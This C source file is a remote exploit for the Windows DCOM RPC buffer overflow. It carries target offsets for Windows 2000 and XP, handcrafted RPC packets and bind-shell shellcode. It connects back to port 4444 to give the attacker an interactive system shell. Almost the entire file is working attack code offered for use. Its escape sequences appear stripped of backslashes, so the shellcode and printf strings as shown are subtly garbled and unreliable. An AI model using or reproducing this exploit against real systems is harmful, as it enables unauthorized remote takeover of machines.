/*
  DCOM RPC Overflow Discovered by LSD - Exploit Based on Xfocus's Code
   
  Written by H D Moore <hdm [at] metasploit.com>
   
  - Usage: ./dcom <Target ID> <Target IP>
  - Targets:
  -          0    Windows 2000 SP0 (english)
  -          1    Windows 2000 SP1 (english)
  -          2    Windows 2000 SP2 (english)
  -          3    Windows 2000 SP3 (english)
  -          4    Windows 2000 SP4 (english)
  -          5    Windows XP SP0 (english)
  -          6    Windows XP SP1 (english)
 
*/

#include <stdio.h>
#include <stdlib.h>
#include <error.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <netdb.h>
#include <fcntl.h>
#include <unistd.h>

unsigned char bindstr[]={
0x05,0x00,0x0B,0x03,0x10,0x00,0x00,0x00,0x48,0x00,0x00,0x00,0x7F,0x00,0x00,0x00,
0xD0,0x16,0xD0,0x16,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x01,0x00,
0xa0,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00,0x00,0x00,
0x04,0x5D,0x88,0x8A,0xEB,0x1C,0xC9,0x11,0x9F,0xE8,0x08,0x00,
0x2B,0x10,0x48,0x60,0x02,0x00,0x00,0x00};

unsigned char request1[]={
0x05,0x00,0x00,0x03,0x10,0x00,0x00,0x00,0xE8,0x03
,0x00,0x00,0xE5,0x00,0x00,0x00,0xD0,0x03,0x00,0x00,0x01,0x00,0x04,0x00,0x05,0x00
,0x06,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x32,0x24,0x58,0xFD,0xCC,0x45
,0x64,0x49,0xB0,0x70,0xDD,0xAE,0x74,0x2C,0x96,0xD2,0x60,0x5E,0x0D,0x00,0x01,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x70,0x5E,0x0D,0x00,0x02,0x00,0x00,0x00,0x7C,0x5E
,0x0D,0x00,0x00,0x00,0x00,0x00,0x10,0x00,0x00,0x00,0x80,0x96,0xF1,0xF1,0x2A,0x4D
,0xCE,0x11,0xA6,0x6A,0x00,0x20,0xAF,0x6E,0x72,0xF4,0x0C,0x00,0x00,0x00,0x4D,0x41
,0x52,0x42,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x0D,0xF0,0xAD,0xBA,0x00,0x00
,0x00,0x00,0xA8,0xF4,0x0B,0x00,0x60,0x03,0x00,0x00,0x60,0x03,0x00,0x00,0x4D,0x45
,0x4F,0x57,0x04,0x00,0x00,0x00,0xA2,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00
,0x00,0x00,0x00,0x00,0x00,0x46,0x38,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00
,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00,0x00,0x00,0x30,0x03,0x00,0x00,0x28,0x03
,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0xC8,0x00
,0x00,0x00,0x4D,0x45,0x4F,0x57,0x28,0x03,0x00,0x00,0xD8,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x02,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xC4,0x28,0xCD,0x00,0x64,0x29
,0xCD,0x00,0x00,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0xB9,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAB,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA5,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA6,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA4,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAD,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAA,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x07,0x00,0x00,0x00,0x60,0x00
,0x00,0x00,0x58,0x00,0x00,0x00,0x90,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x20,0x00
,0x00,0x00,0x78,0x00,0x00,0x00,0x30,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x10
,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x50,0x00,0x00,0x00,0x4F,0xB6,0x88,0x20,0xFF,0xFF
,0xFF,0xFF,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10
,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x48,0x00,0x00,0x00,0x07,0x00,0x66,0x00,0x06,0x09
,0x02,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x10,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x78,0x19,0x0C,0x00,0x58,0x00,0x00,0x00,0x05,0x00,0x06,0x00,0x01,0x00
,0x00,0x00,0x70,0xD8,0x98,0x93,0x98,0x4F,0xD2,0x11,0xA9,0x3D,0xBE,0x57,0xB2,0x00
,0x00,0x00,0x32,0x00,0x31,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x80,0x00
,0x00,0x00,0x0D,0xF0,0xAD,0xBA,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x18,0x43,0x14,0x00,0x00,0x00,0x00,0x00,0x60,0x00
,0x00,0x00,0x60,0x00,0x00,0x00,0x4D,0x45,0x4F,0x57,0x04,0x00,0x00,0x00,0xC0,0x01
,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x3B,0x03
,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00
,0x00,0x00,0x30,0x00,0x00,0x00,0x01,0x00,0x01,0x00,0x81,0xC5,0x17,0x03,0x80,0x0E
,0xE9,0x4A,0x99,0x99,0xF1,0x8A,0x50,0x6F,0x7A,0x85,0x02,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x30,0x00
,0x00,0x00,0x78,0x00,0x6E,0x00,0x00,0x00,0x00,0x00,0xD8,0xDA,0x0D,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x2F,0x0C,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x03,0x00,0x00,0x00,0x46,0x00
,0x58,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x10,0x00
,0x00,0x00,0x30,0x00,0x2E,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x68,0x00
,0x00,0x00,0x0E,0x00,0xFF,0xFF,0x68,0x8B,0x0B,0x00,0x02,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00};

unsigned char request2[]={
0x20,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x00
,0x00,0x00,0x5C,0x00,0x5C,0x00};

unsigned char request3[]={
0x5C,0x00
,0x43,0x00,0x24,0x00,0x5C,0x00,0x31,0x00,0x32,0x00,0x33,0x00,0x34,0x00,0x35,0x00
,0x36,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00
,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00
,0x2E,0x00,0x64,0x00,0x6F,0x00,0x63,0x00,0x00,0x00};



unsigned char *targets [] =
        {
            "Windows 2000 SP0 (english)",
            "Windows 2000 SP1 (english)",
            "Windows 2000 SP2 (english)",
            "Windows 2000 SP3 (english)",
            "Windows 2000 SP4 (english)",
            "Windows XP SP0 (english)",
            "Windows XP SP1 (english)",
             NULL                                                                                       
        };
        
unsigned long offsets [] = 
        {
            0x77e81674, 
            0x77e829ec, 
            0x77e824b5, 
            0x77e8367a, 
            0x77f92a9b, 
            0x77e9afe3,
            0x77e626ba,
        };

unsigned char sc[]=
    "x46x00x58x00x4Ex00x42x00x46x00x58x00"
    "x46x00x58x00x4Ex00x42x00x46x00x58x00x46x00x58x00"
    "x46x00x58x00x46x00x58x00"

    "xffxffxffxff" /* return address */
    
    "xccxe0xfdx7f" /* primary thread data block */
    "xccxe0xfdx7f" /* primary thread data block */

    /* port 4444 bindshell */
    "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
    "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
    "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
    "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
    "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
    "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
    "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
    "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
    "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
    "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
    "x90x90x90x90x90x90x90xebx19x5ex31xc9x81xe9x89xff"
    "xffxffx81x36x80xbfx32x94x81xeexfcxffxffxffxe2xf2"
    "xebx05xe8xe2xffxffxffx03x53x06x1fx74x57x75x95x80"
    "xbfxbbx92x7fx89x5ax1axcexb1xdex7cxe1xbex32x94x09"
    "xf9x3ax6bxb6xd7x9fx4dx85x71xdaxc6x81xbfx32x1dxc6"
    "xb3x5axf8xecxbfx32xfcxb3x8dx1cxf0xe8xc8x41xa6xdf"
    "xebxcdxc2x88x36x74x90x7fx89x5axe6x7ex0cx24x7cxad"
    "xbex32x94x09xf9x22x6bxb6xd7x4cx4cx62xccxdax8ax81"
    "xbfx32x1dxc6xabxcdxe2x84xd7xf9x79x7cx84xdax9ax81"
    "xbfx32x1dxc6xa7xcdxe2x84xd7xebx9dx75x12xdax6ax80"
    "xbfx32x1dxc6xa3xcdxe2x84xd7x96x8exf0x78xdax7ax80"
    "xbfx32x1dxc6x9fxcdxe2x84xd7x96x39xaex56xdax4ax80"
    "xbfx32x1dxc6x9bxcdxe2x84xd7xd7xddx06xf6xdax5ax80"
    "xbfx32x1dxc6x97xcdxe2x84xd7xd5xedx46xc6xdax2ax80"
    "xbfx32x1dxc6x93x01x6bx01x53xa2x95x80xbfx66xfcx81"
    "xbex32x94x7fxe9x2axc4xd0xefx62xd4xd0xffx62x6bxd6"
    "xa3xb9x4cxd7xe8x5ax96x80xaex6ex1fx4cxd5x24xc5xd3"
    "x40x64xb4xd7xecxcdxc2xa4xe8x63xc7x7fxe9x1ax1fx50"
    "xd7x57xecxe5xbfx5axf7xedxdbx1cx1dxe6x8fxb1x78xd4"
    "x32x0exb0xb3x7fx01x5dx03x7ex27x3fx62x42xf4xd0xa4"
    "xafx76x6axc4x9bx0fx1dxd4x9bx7ax1dxd4x9bx7ex1dxd4"
    "x9bx62x19xc4x9bx22xc0xd0xeex63xc5xeaxbex63xc5x7f"
    "xc9x02xc5x7fxe9x22x1fx4cxd5xcdx6bxb1x40x64x98x0b"
    "x77x65x6bxd6x93xcdxc2x94xeax64xf0x21x8fx32x94x80"
    "x3axf2xecx8cx34x72x98x0bxcfx2ex39x0bxd7x3ax7fx89"
    "x34x72xa0x0bx17x8ax94x80xbfxb9x51xdexe2xf0x90x80"
    "xecx67xc2xd7x34x5exb0x98x34x77xa8x0bxebx37xecx83"
    "x6axb9xdex98x34x68xb4x83x62xd1xa6xc9x34x06x1fx83"
    "x4ax01x6bx7cx8cxf2x38xbax7bx46x93x41x70x3fx97x78"
    "x54xc0xafxfcx9bx26xe1x61x34x68xb0x83x62x54x1fx8c"
    "xf4xb9xcex9cxbcxefx1fx84x34x31x51x6bxbdx01x54x0b"
    "x6ax6dxcaxddxe4xf0x90x80x2fxa2x04";

   

unsigned char request4[]={
0x01,0x10
,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x20,0x00,0x00,0x00,0x30,0x00,0x2D,0x00,0x00,0x00
,0x00,0x00,0x88,0x2A,0x0C,0x00,0x02,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x28,0x8C
,0x0C,0x00,0x01,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00
};


/* ripped from TESO code */
void shell (int sock)
{
        int     l;
        char    buf[512];
        fd_set  rfds;


        while (1) {
                FD_SET (0, &rfds);
                FD_SET (sock, &rfds);

                select (sock + 1, &rfds, NULL, NULL, NULL);
                if (FD_ISSET (0, &rfds)) {
                        l = read (0, buf, sizeof (buf));
                        if (l <= 0) {
                                printf("n - Connection closed by local usern");
                                exit (EXIT_FAILURE);
                        }
                        write (sock, buf, l);
                }

                if (FD_ISSET (sock, &rfds)) {
                        l = read (sock, buf, sizeof (buf));
                        if (l == 0) {
                                printf ("n - Connection closed by remote host.n");
                                exit (EXIT_FAILURE);
                        } else if (l < 0) {
                                printf ("n - Read failuren");
                                exit (EXIT_FAILURE);
                        }
                        write (1, buf, l);
                }
        }
}


int main(int argc, char **argv)
{
    
    int sock;
    int len,len1;
    unsigned int target_id;
    unsigned long ret;
    struct sockaddr_in target_ip;
    unsigned short port = 135;
    unsigned char buf1[0x1000];
    unsigned char buf2[0x1000];

    printf("---------------------------------------------------------n");
    printf("- Remote DCOM RPC Buffer Overflow Exploitn");
    printf("- Original code by FlashSky and Benjurryn");
    printf("- Rewritten by HDM <hdm [at] metasploit.com>n");


    if(argc<3)
    {
        printf("- Usage: %s <Target ID> <Target IP>n", argv[0]);
        printf("- Targets:n");
        for (len=0; targets[len] != NULL; len++)
        {
            printf("-          %dt%sn", len, targets[len]);   
        }
        printf("n");
        exit(1);
    }
 
    /* yeah, get over it :) */
    target_id = atoi(argv[1]);
    ret = offsets[target_id];
    
    printf("- Using return address of 0x%.8xn", ret);

    memcpy(sc+36, (unsigned char *) &ret, 4);

    target_ip.sin_family = AF_INET;
    target_ip.sin_addr.s_addr = inet_addr(argv[2]);
    target_ip.sin_port = htons(port);

    if ((sock=socket(AF_INET,SOCK_STREAM,0)) == -1)
    {
        perror("- Socket");
        return(0);
    }
    
    if(connect(sock,(struct sockaddr *)&target_ip, sizeof(target_ip)) != 0)
    {
        perror("- Connect");
        return(0);
    }
    
    len=sizeof(sc);
    memcpy(buf2,request1,sizeof(request1));
    len1=sizeof(request1);
    
    *(unsigned long *)(request2)=*(unsigned long *)(request2)+sizeof(sc)/2;  
    *(unsigned long *)(request2+8)=*(unsigned long *)(request2+8)+sizeof(sc)/2;
    
    memcpy(buf2+len1,request2,sizeof(request2));
    len1=len1+sizeof(request2);
    memcpy(buf2+len1,sc,sizeof(sc));
    len1=len1+sizeof(sc);
    memcpy(buf2+len1,request3,sizeof(request3));
    len1=len1+sizeof(request3);
    memcpy(buf2+len1,request4,sizeof(request4));
    len1=len1+sizeof(request4);
    
    *(unsigned long *)(buf2+8)=*(unsigned long *)(buf2+8)+sizeof(sc)-0xc;
    

    *(unsigned long *)(buf2+0x10)=*(unsigned long *)(buf2+0x10)+sizeof(sc)-0xc;  
    *(unsigned long *)(buf2+0x80)=*(unsigned long *)(buf2+0x80)+sizeof(sc)-0xc;
    *(unsigned long *)(buf2+0x84)=*(unsigned long *)(buf2+0x84)+sizeof(sc)-0xc;
    *(unsigned long *)(buf2+0xb4)=*(unsigned long *)(buf2+0xb4)+sizeof(sc)-0xc;
    *(unsigned long *)(buf2+0xb8)=*(unsigned long *)(buf2+0xb8)+sizeof(sc)-0xc;
    *(unsigned long *)(buf2+0xd0)=*(unsigned long *)(buf2+0xd0)+sizeof(sc)-0xc;
    *(unsigned long *)(buf2+0x18c)=*(unsigned long *)(buf2+0x18c)+sizeof(sc)-0xc;
    
    if (send(sock,bindstr,sizeof(bindstr),0)== -1)
    {
            perror("- Send");
            return(0);
    }
    len=recv(sock, buf1, 1000, 0);
    
    if (send(sock,buf2,len1,0)== -1)
    {
            perror("- Send");
            return(0);
    }
    close(sock);
    sleep(1);
    
    target_ip.sin_family = AF_INET;
    target_ip.sin_addr.s_addr = inet_addr(argv[2]);
    target_ip.sin_port = htons(4444);

    if ((sock=socket(AF_INET,SOCK_STREAM,0)) == -1)
    {
        perror("- Socket");
        return(0);
    }
    
    if(connect(sock,(struct sockaddr *)&target_ip, sizeof(target_ip)) != 0)
    {
        printf("- Exploit appeared to have failed.n");
        return(0);
    }   
   
    printf("- Dropping to System Shell...nn");

    shell(sock);
    
    return(0);
}

// www.Syue.com [2003-07-26]